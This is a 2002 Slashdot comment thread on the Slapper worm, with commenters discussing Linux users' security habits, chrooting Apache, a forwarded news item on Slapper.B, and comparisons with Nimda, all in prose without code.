    • You know, I'm with you on this one. I know of friends who decided to jump on the Linux bandwagon, installed the OS and associated daemons and programs, had a fun time customizing their desktop, etc. Never put a single shred of time and effort into looking into any aspects of security. Asking them, the response was, nine times out of ten, "It's Linux man. Security out of the box." or something to that effect. These same people, myself included, when installing Windows head straight to the Control Panel and start deactivating nonessential services as one of the first steps. Subsequently, virus scanners, firewall software (ZoneAlarm, whatever), etc. Hell even my father hits WindowsUpdate and Norton LiveUpdate like it's a religion or something.

      Good post man.

  • sysadmins? (Score:4, Insightful)

    by Shadestalker (598690) on Wednesday September 25, 2002 @09:32AM (#4326741)

    Lots of comments here mention that sysadmins are to be faulted for the spread of this worm. I wonder how many of the infected systems were in fact installed by part-timers who then walked away, or are just being run by newer linux users.

    Keep watching, you'll see more of this as linux becomes even easier to install and use. Joe User likes it because it's easy to install and comes with lots of services he can run right out of the box. Joe User doesn't do sysadmin work, what do you mean it doesn't update itself?

    Automatic update utilities need to keep pace with the ease of use and hands-off administration that people generally apply to a desktop OS like Windows, otherwise we're basically handing all these new users a gun that's already pointed at their heads.

  • It has been brought to our attention that several posters on this thread have implied that this viral outbreak is in some way connected to the open source community and their users. Slashdot wishes to reitterate their dogmatic belief: Virus := Bad OpenSource := Good Microsoft := Bad Thus proving that any suggestion of a bug/vulnerability in Linux/Apache is a figment of a deluded imagination and you're most likely Welsh.
  • by Icy (7612)
    I don't know why more people don't chroot apache or patch [home.iae.nl] to use chroot(2). It can be a pain at times, but it can't be worse then having to reformat and reinstall the entire os because your are not sure what was tampered with. I know chroot is not perfect and you can break out of it, but as long as you are carefull about what goes in it, you are relatively safe. It would at least keep rootkits away from gcc, which seems to be required for most of these rootkits.
  • by fungus (37425)
    From: Ron DuFresne [mailto:dufresne@winternet.com]
    Sent: Tuesday, September 24, 2002 9:54 AM
    To: firewalls@isc.org
    Subject: Slapper worm redux;

    Those folks relying upon security through obscurity might well wish to get
    on the ball and fully patch-up;

    September 23 VNUNET.COM.
    A suspect has been arrested on suspicion of authoring the Slapper worm.
    But although the threat of the worm seems to have been short-lived, a new
    variant is already set to take up where its predecessor left off. Although
    the ISC's 'most attacked ports' chart no longer features Slapper in its
    Top 10 a variant, Slapper.B, has been spotted in the wild. Slapper.B has
    several subtle differences, but is for the most part an updated version of
    its predecessor. Both worms attempt to exploit a known vulnerability in
    the Secure Sockets Layer 2.0 (SSLv2) handshake process. The two variants
    also carry the same payload, a password-protected backdoor and denial of
    service (DoS) capabilities. ISS's Morgan said that with the new variant on
    the loose his company had calculated that about 10,000 servers were
    probably now infected, and that the network was probably going to be used
    for DoS attacks. He added that it was unlikely the original author created
    the second worm. "It was significant that source code for the original
    Slapper was distributed within the computer underground immediately after
    the worm was detected in the wild," he said. Source:
    http://www.vnunet.com/News/1135274

    --
    "Cutting the space budget really restores my faith in humanity. It
    eliminates dreams, goals, and ideals and lets us get straight to the
    business of hate, debauchery, and self-annihilation." -- Johnny Hart
    ***testing, only testing, and damn good at it too!***

    OK, so you're a Ph.D. Just don't touch anything.

  • Slappers. (Score:4, Informative)

    by burbledrone (605693) on Wednesday September 25, 2002 @10:05AM (#4326974)

    A linguistic note for Americans and other aliens....

    "Slapper" is an EnglishEnglish term for a woman with an easily exploited hole....

  • by Ektanoor (9949) on Wednesday September 25, 2002 @10:08AM (#4327001) Journal
    Some have been claiming around here that slapper is a "demonstration" that Linux is no better than Windows, maybe worse... Sorry you people but this talk is just about onions and carrots. The fact is that a very similar attack, that happens nearly a year after CodeRed/Nimda carmageddon, shows a huge difference between both worlds.

    If anyone takes the care to look at incidents.org site, one may see the facts for himself. Slapper didn't hit the stands. It is far from its Windows cousins, not only in terms of infected machines but also in attacks. And note specially the attacks. In less than 12 hours after Nimda's appearence I had more then 340000 Nimda "visits" on the network I surpervised. On what concerns Slapper, till now things are nearly on zero. Slapper is in no way a second Nimda.

"Though a program be but three lines long, someday it will have to be maintained." -- The Tao of Programming

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